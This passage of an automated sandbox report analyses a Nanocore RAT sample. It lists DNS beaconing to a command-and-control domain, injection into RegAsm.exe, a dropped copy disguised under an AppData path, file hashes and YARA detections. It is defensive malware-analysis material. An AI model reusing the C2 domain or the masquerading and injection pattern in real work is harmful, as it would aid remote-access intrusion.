              Sep 15, 2021 13:56:56.857876062 CEST6026153192.168.2.68.8.8.8
              Sep 15, 2021 13:56:56.885330915 CEST53602618.8.8.8192.168.2.6
              Sep 15, 2021 13:56:57.527518034 CEST5606153192.168.2.68.8.8.8
              Sep 15, 2021 13:56:57.554430008 CEST53560618.8.8.8192.168.2.6
              Sep 15, 2021 13:56:58.275342941 CEST5833653192.168.2.68.8.8.8
              Sep 15, 2021 13:56:58.305098057 CEST53583368.8.8.8192.168.2.6
              Sep 15, 2021 13:56:58.931689024 CEST5378153192.168.2.68.8.8.8
              Sep 15, 2021 13:56:58.969841957 CEST53537818.8.8.8192.168.2.6
              Sep 15, 2021 13:56:59.307921886 CEST5406453192.168.2.68.8.8.8
              Sep 15, 2021 13:56:59.357635021 CEST53540648.8.8.8192.168.2.6
              Sep 15, 2021 13:57:00.104847908 CEST5281153192.168.2.68.8.8.8
              Sep 15, 2021 13:57:00.197278976 CEST53528118.8.8.8192.168.2.6
              Sep 15, 2021 13:57:00.653752089 CEST5529953192.168.2.68.8.8.8
              Sep 15, 2021 13:57:00.681313992 CEST53552998.8.8.8192.168.2.6
              Sep 15, 2021 13:57:03.784324884 CEST6374553192.168.2.68.8.8.8
              Sep 15, 2021 13:57:03.810755014 CEST53637458.8.8.8192.168.2.6
              Sep 15, 2021 13:57:07.895946026 CEST5005553192.168.2.68.8.8.8
              Sep 15, 2021 13:57:07.925545931 CEST53500558.8.8.8192.168.2.6
              Sep 15, 2021 13:57:11.972706079 CEST6137453192.168.2.68.8.8.8
              Sep 15, 2021 13:57:11.997688055 CEST53613748.8.8.8192.168.2.6
              Sep 15, 2021 13:57:14.878935099 CEST5033953192.168.2.68.8.8.8
              Sep 15, 2021 13:57:14.916450977 CEST53503398.8.8.8192.168.2.6
              Sep 15, 2021 13:57:16.216864109 CEST6330753192.168.2.68.8.8.8
              Sep 15, 2021 13:57:16.249648094 CEST53633078.8.8.8192.168.2.6
              Sep 15, 2021 13:57:20.413863897 CEST4969453192.168.2.68.8.8.8
              Sep 15, 2021 13:57:20.443173885 CEST53496948.8.8.8192.168.2.6
              Sep 15, 2021 13:57:24.694555044 CEST5498253192.168.2.68.8.8.8
              Sep 15, 2021 13:57:24.723551989 CEST53549828.8.8.8192.168.2.6
              Sep 15, 2021 13:57:28.968398094 CEST5001053192.168.2.68.8.8.8
              Sep 15, 2021 13:57:29.004542112 CEST53500108.8.8.8192.168.2.6
              Sep 15, 2021 13:57:29.112659931 CEST6371853192.168.2.68.8.8.8
              Sep 15, 2021 13:57:29.180593967 CEST53637188.8.8.8192.168.2.6
              Sep 15, 2021 13:57:33.072887897 CEST6211653192.168.2.68.8.8.8
              Sep 15, 2021 13:57:33.103174925 CEST53621168.8.8.8192.168.2.6
              Sep 15, 2021 13:57:37.514784098 CEST6381653192.168.2.68.8.8.8
              Sep 15, 2021 13:57:37.544377089 CEST53638168.8.8.8192.168.2.6
              Sep 15, 2021 13:57:41.604831934 CEST5501453192.168.2.68.8.8.8
              Sep 15, 2021 13:57:41.634622097 CEST53550148.8.8.8192.168.2.6
              Sep 15, 2021 13:57:42.669401884 CEST6220853192.168.2.68.8.8.8
              Sep 15, 2021 13:57:42.707053900 CEST53622088.8.8.8192.168.2.6
              Sep 15, 2021 13:57:45.818428993 CEST5757453192.168.2.68.8.8.8
              Sep 15, 2021 13:57:45.847418070 CEST53575748.8.8.8192.168.2.6
              Sep 15, 2021 13:57:48.559989929 CEST5181853192.168.2.68.8.8.8
              Sep 15, 2021 13:57:48.595588923 CEST53518188.8.8.8192.168.2.6
              Sep 15, 2021 13:57:50.012881041 CEST5662853192.168.2.68.8.8.8
              Sep 15, 2021 13:57:50.042393923 CEST53566288.8.8.8192.168.2.6
              Sep 15, 2021 13:57:50.659118891 CEST6077853192.168.2.68.8.8.8
              Sep 15, 2021 13:57:50.700021029 CEST53607788.8.8.8192.168.2.6
              Sep 15, 2021 13:57:54.070163965 CEST5379953192.168.2.68.8.8.8
              Sep 15, 2021 13:57:54.096656084 CEST53537998.8.8.8192.168.2.6
              Sep 15, 2021 13:57:58.353168011 CEST5468353192.168.2.68.8.8.8
              Sep 15, 2021 13:57:58.383055925 CEST53546838.8.8.8192.168.2.6
              Sep 15, 2021 13:58:03.071388006 CEST5932953192.168.2.68.8.8.8
              Sep 15, 2021 13:58:03.097934008 CEST53593298.8.8.8192.168.2.6
              Sep 15, 2021 13:58:07.313395023 CEST6402153192.168.2.68.8.8.8
              Sep 15, 2021 13:58:07.342670918 CEST53640218.8.8.8192.168.2.6
              Sep 15, 2021 13:58:11.361876011 CEST5612953192.168.2.68.8.8.8
              Sep 15, 2021 13:58:11.388569117 CEST53561298.8.8.8192.168.2.6
              Sep 15, 2021 13:58:15.394278049 CEST5817753192.168.2.68.8.8.8
              Sep 15, 2021 13:58:15.423655987 CEST53581778.8.8.8192.168.2.6

              DNS Queries

              TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
              Sep 15, 2021 13:57:03.784324884 CEST192.168.2.68.8.8.80x3282Standard query (0)megida.hopto.orgA (IP address)IN (0x0001)
              Sep 15, 2021 13:57:07.895946026 CEST192.168.2.68.8.8.80xaf8aStandard query (0)megida.hopto.orgA (IP address)IN (0x0001)
              Sep 15, 2021 13:57:11.972706079 CEST192.168.2.68.8.8.80x2f0bStandard query (0)megida.hopto.orgA (IP address)IN (0x0001)
              Sep 15, 2021 13:57:16.216864109 CEST192.168.2.68.8.8.80x222eStandard query (0)megida.hopto.orgA (IP address)IN (0x0001)
              Sep 15, 2021 13:57:20.413863897 CEST192.168.2.68.8.8.80xf245Standard query (0)megida.hopto.orgA (IP address)IN (0x0001)
              Sep 15, 2021 13:57:24.694555044 CEST192.168.2.68.8.8.80xf26dStandard query (0)megida.hopto.orgA (IP address)IN (0x0001)
              Sep 15, 2021 13:57:28.968398094 CEST192.168.2.68.8.8.80xa427Standard query (0)megida.hopto.orgA (IP address)IN (0x0001)
              Sep 15, 2021 13:57:33.072887897 CEST192.168.2.68.8.8.80xe0fStandard query (0)megida.hopto.orgA (IP address)IN (0x0001)
              Sep 15, 2021 13:57:37.514784098 CEST192.168.2.68.8.8.80xa946Standard query (0)megida.hopto.orgA (IP address)IN (0x0001)
              Sep 15, 2021 13:57:41.604831934 CEST192.168.2.68.8.8.80x5ce5Standard query (0)megida.hopto.orgA (IP address)IN (0x0001)
              Sep 15, 2021 13:57:45.818428993 CEST192.168.2.68.8.8.80xecc1Standard query (0)megida.hopto.orgA (IP address)IN (0x0001)
              Sep 15, 2021 13:57:50.012881041 CEST192.168.2.68.8.8.80x2d39Standard query (0)megida.hopto.orgA (IP address)IN (0x0001)
              Sep 15, 2021 13:57:54.070163965 CEST192.168.2.68.8.8.80x929cStandard query (0)megida.hopto.orgA (IP address)IN (0x0001)
              Sep 15, 2021 13:57:58.353168011 CEST192.168.2.68.8.8.80x9308Standard query (0)megida.hopto.orgA (IP address)IN (0x0001)
              Sep 15, 2021 13:58:03.071388006 CEST192.168.2.68.8.8.80x1425Standard query (0)megida.hopto.orgA (IP address)IN (0x0001)
              Sep 15, 2021 13:58:07.313395023 CEST192.168.2.68.8.8.80xda2Standard query (0)megida.hopto.orgA (IP address)IN (0x0001)
              Sep 15, 2021 13:58:11.361876011 CEST192.168.2.68.8.8.80x7d7cStandard query (0)megida.hopto.orgA (IP address)IN (0x0001)
              Sep 15, 2021 13:58:15.394278049 CEST192.168.2.68.8.8.80x3519Standard query (0)megida.hopto.orgA (IP address)IN (0x0001)

              DNS Answers

              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
              Sep 15, 2021 13:57:03.810755014 CEST8.8.8.8192.168.2.60x3282No error (0)megida.hopto.org0.0.0.0A (IP address)IN (0x0001)
              Sep 15, 2021 13:57:07.925545931 CEST8.8.8.8192.168.2.60xaf8aNo error (0)megida.hopto.org0.0.0.0A (IP address)IN (0x0001)
              Sep 15, 2021 13:57:11.997688055 CEST8.8.8.8192.168.2.60x2f0bNo error (0)megida.hopto.org0.0.0.0A (IP address)IN (0x0001)
              Sep 15, 2021 13:57:16.249648094 CEST8.8.8.8192.168.2.60x222eNo error (0)megida.hopto.org0.0.0.0A (IP address)IN (0x0001)
              Sep 15, 2021 13:57:20.443173885 CEST8.8.8.8192.168.2.60xf245No error (0)megida.hopto.org0.0.0.0A (IP address)IN (0x0001)
              Sep 15, 2021 13:57:24.723551989 CEST8.8.8.8192.168.2.60xf26dNo error (0)megida.hopto.org0.0.0.0A (IP address)IN (0x0001)
              Sep 15, 2021 13:57:29.004542112 CEST8.8.8.8192.168.2.60xa427No error (0)megida.hopto.org0.0.0.0A (IP address)IN (0x0001)
              Sep 15, 2021 13:57:33.103174925 CEST8.8.8.8192.168.2.60xe0fNo error (0)megida.hopto.org0.0.0.0A (IP address)IN (0x0001)
              Sep 15, 2021 13:57:37.544377089 CEST8.8.8.8192.168.2.60xa946No error (0)megida.hopto.org0.0.0.0A (IP address)IN (0x0001)
              Sep 15, 2021 13:57:41.634622097 CEST8.8.8.8192.168.2.60x5ce5No error (0)megida.hopto.org0.0.0.0A (IP address)IN (0x0001)
              Sep 15, 2021 13:57:45.847418070 CEST8.8.8.8192.168.2.60xecc1No error (0)megida.hopto.org0.0.0.0A (IP address)IN (0x0001)
              Sep 15, 2021 13:57:50.042393923 CEST8.8.8.8192.168.2.60x2d39No error (0)megida.hopto.org0.0.0.0A (IP address)IN (0x0001)
              Sep 15, 2021 13:57:54.096656084 CEST8.8.8.8192.168.2.60x929cNo error (0)megida.hopto.org0.0.0.0A (IP address)IN (0x0001)
              Sep 15, 2021 13:57:58.383055925 CEST8.8.8.8192.168.2.60x9308No error (0)megida.hopto.org0.0.0.0A (IP address)IN (0x0001)
              Sep 15, 2021 13:58:03.097934008 CEST8.8.8.8192.168.2.60x1425No error (0)megida.hopto.org0.0.0.0A (IP address)IN (0x0001)
              Sep 15, 2021 13:58:07.342670918 CEST8.8.8.8192.168.2.60xda2No error (0)megida.hopto.org0.0.0.0A (IP address)IN (0x0001)
              Sep 15, 2021 13:58:11.388569117 CEST8.8.8.8192.168.2.60x7d7cNo error (0)megida.hopto.org0.0.0.0A (IP address)IN (0x0001)
              Sep 15, 2021 13:58:15.423655987 CEST8.8.8.8192.168.2.60x3519No error (0)megida.hopto.org0.0.0.0A (IP address)IN (0x0001)

              Code Manipulations

              Statistics

              Behavior

              Click to jump to process

              System Behavior

              General

              Start time:13:56:01
              Start date:15/09/2021
              Path:C:\Users\user\Desktop\wIQLBHYbqz.exe
              Wow64 process (32bit):true
              Commandline:'C:\Users\user\Desktop\wIQLBHYbqz.exe'
              Imagebase:0x400000
              File size:1253976 bytes
              MD5 hash:1312D6FF22DBD8E9E05D1B0D9130439D
              Has elevated privileges:true
              Has administrator privileges:true
              Programmed in:C, C++ or other language
              Yara matches:
              • Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000003.453308954.000000000399F000.00000004.00000001.sdmp, Author: Florian Roth
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000003.453308954.000000000399F000.00000004.00000001.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 00000000.00000003.453308954.000000000399F000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              • Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000003.452029104.0000000003975000.00000004.00000001.sdmp, Author: Florian Roth
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000003.452029104.0000000003975000.00000004.00000001.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 00000000.00000003.452029104.0000000003975000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              • Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000002.614883445.00000000014A2000.00000040.00020000.sdmp, Author: Florian Roth
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000002.614883445.00000000014A2000.00000040.00020000.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 00000000.00000002.614883445.00000000014A2000.00000040.00020000.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              • Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000002.617706572.0000000003910000.00000004.00000001.sdmp, Author: Florian Roth
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000002.617706572.0000000003910000.00000004.00000001.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 00000000.00000002.617706572.0000000003910000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              • Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000003.450606191.0000000004911000.00000004.00000001.sdmp, Author: Florian Roth
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000003.450606191.0000000004911000.00000004.00000001.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 00000000.00000003.450606191.0000000004911000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              • Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000002.617309688.0000000003893000.00000004.00000001.sdmp, Author: Florian Roth
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000002.617309688.0000000003893000.00000004.00000001.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 00000000.00000002.617309688.0000000003893000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              • Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000003.450818264.000000000391C000.00000004.00000001.sdmp, Author: Florian Roth
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000003.450818264.000000000391C000.00000004.00000001.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 00000000.00000003.450818264.000000000391C000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              • Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000003.466877574.00000000039B2000.00000004.00000001.sdmp, Author: Florian Roth
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000003.466877574.00000000039B2000.00000004.00000001.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 00000000.00000003.466877574.00000000039B2000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              • Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000002.618062231.0000000003997000.00000004.00000001.sdmp, Author: Florian Roth
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000002.618062231.0000000003997000.00000004.00000001.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 00000000.00000002.618062231.0000000003997000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              • Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000002.618678183.0000000004910000.00000004.00000001.sdmp, Author: Florian Roth
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000002.618678183.0000000004910000.00000004.00000001.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 00000000.00000002.618678183.0000000004910000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              Reputation:low

              General

              Start time:13:57:01
              Start date:15/09/2021
              Path:C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
              Wow64 process (32bit):true
              Commandline:C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
              Imagebase:0xc50000
              File size:53248 bytes
              MD5 hash:529695608EAFBED00ACA9E61EF333A7C
              Has elevated privileges:true
              Has administrator privileges:true
              Programmed in:.Net C# or VB.NET
              Yara matches:
              • Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000D.00000002.617258087.0000000005B70000.00000004.00020000.sdmp, Author: Florian Roth
              • Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source: 0000000D.00000002.617258087.0000000005B70000.00000004.00020000.sdmp, Author: Florian Roth
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000D.00000002.617258087.0000000005B70000.00000004.00020000.sdmp, Author: Joe Security
              • Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000D.00000002.609808438.0000000000402000.00000040.00020000.sdmp, Author: Florian Roth
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000D.00000002.609808438.0000000000402000.00000040.00020000.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 0000000D.00000002.609808438.0000000000402000.00000040.00020000.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000D.00000002.615169994.0000000004247000.00000004.00000001.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 0000000D.00000002.615169994.0000000004247000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              • Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000D.00000002.616663037.00000000056F0000.00000004.00020000.sdmp, Author: Florian Roth
              • Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source: 0000000D.00000002.616663037.00000000056F0000.00000004.00020000.sdmp, Author: Florian Roth
              Reputation:high

              General

              Start time:13:57:03
              Start date:15/09/2021
              Path:C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.bat
              Wow64 process (32bit):true
              Commandline:'C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.bat'
              Imagebase:0x400000
              File size:1253984 bytes
              MD5 hash:F9F1A2B23DF822033EC717757776CBB7
              Has elevated privileges:true
              Has administrator privileges:true
              Programmed in:C, C++ or other language
              Yara matches:
              • Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000E.00000003.581083346.0000000003668000.00000004.00000001.sdmp, Author: Florian Roth
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000E.00000003.581083346.0000000003668000.00000004.00000001.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 0000000E.00000003.581083346.0000000003668000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              • Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000E.00000003.580718643.0000000003611000.00000004.00000001.sdmp, Author: Florian Roth
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000E.00000003.580718643.0000000003611000.00000004.00000001.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 0000000E.00000003.580718643.0000000003611000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              • Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000E.00000002.614749797.00000000016E2000.00000040.00020000.sdmp, Author: Florian Roth
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000E.00000002.614749797.00000000016E2000.00000040.00020000.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 0000000E.00000002.614749797.00000000016E2000.00000040.00020000.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              • Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000E.00000003.580844038.0000000003B80000.00000004.00000001.sdmp, Author: Florian Roth
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000E.00000003.580844038.0000000003B80000.00000004.00000001.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 0000000E.00000003.580844038.0000000003B80000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              • Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000E.00000003.592051979.0000000003562000.00000004.00000001.sdmp, Author: Florian Roth
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000E.00000003.592051979.0000000003562000.00000004.00000001.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 0000000E.00000003.592051979.0000000003562000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              • Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000E.00000003.580617027.00000000035B9000.00000004.00000001.sdmp, Author: Florian Roth
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000E.00000003.580617027.00000000035B9000.00000004.00000001.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 0000000E.00000003.580617027.00000000035B9000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              • Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000E.00000003.580586671.000000000369C000.00000004.00000001.sdmp, Author: Florian Roth
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000E.00000003.580586671.000000000369C000.00000004.00000001.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 0000000E.00000003.580586671.000000000369C000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              • Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000E.00000003.580975519.000000000363C000.00000004.00000001.sdmp, Author: Florian Roth
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000E.00000003.580975519.000000000363C000.00000004.00000001.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 0000000E.00000003.580975519.000000000363C000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              Antivirus matches:
              • Detection: 100%, Avira
              Reputation:low

              General

              Start time:13:57:59
              Start date:15/09/2021
              Path:C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
              Wow64 process (32bit):true
              Commandline:C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
              Imagebase:0x9d0000
              File size:53248 bytes
              MD5 hash:529695608EAFBED00ACA9E61EF333A7C
              Has elevated privileges:true
              Has administrator privileges:true
              Programmed in:.Net C# or VB.NET
              Yara matches:
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000016.00000002.611459498.0000000003081000.00000004.00000001.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 00000016.00000002.611459498.0000000003081000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              • Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000016.00000002.609719074.0000000000402000.00000040.00020000.sdmp, Author: Florian Roth
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000016.00000002.609719074.0000000000402000.00000040.00020000.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 00000016.00000002.609719074.0000000000402000.00000040.00020000.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              • Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000016.00000002.611621495.0000000004081000.00000004.00000001.sdmp, Author: Joe Security
              • Rule: NanoCore, Description: unknown, Source: 00000016.00000002.611621495.0000000004081000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
              Reputation:high

              Disassembly

              Code Analysis

              Reset < >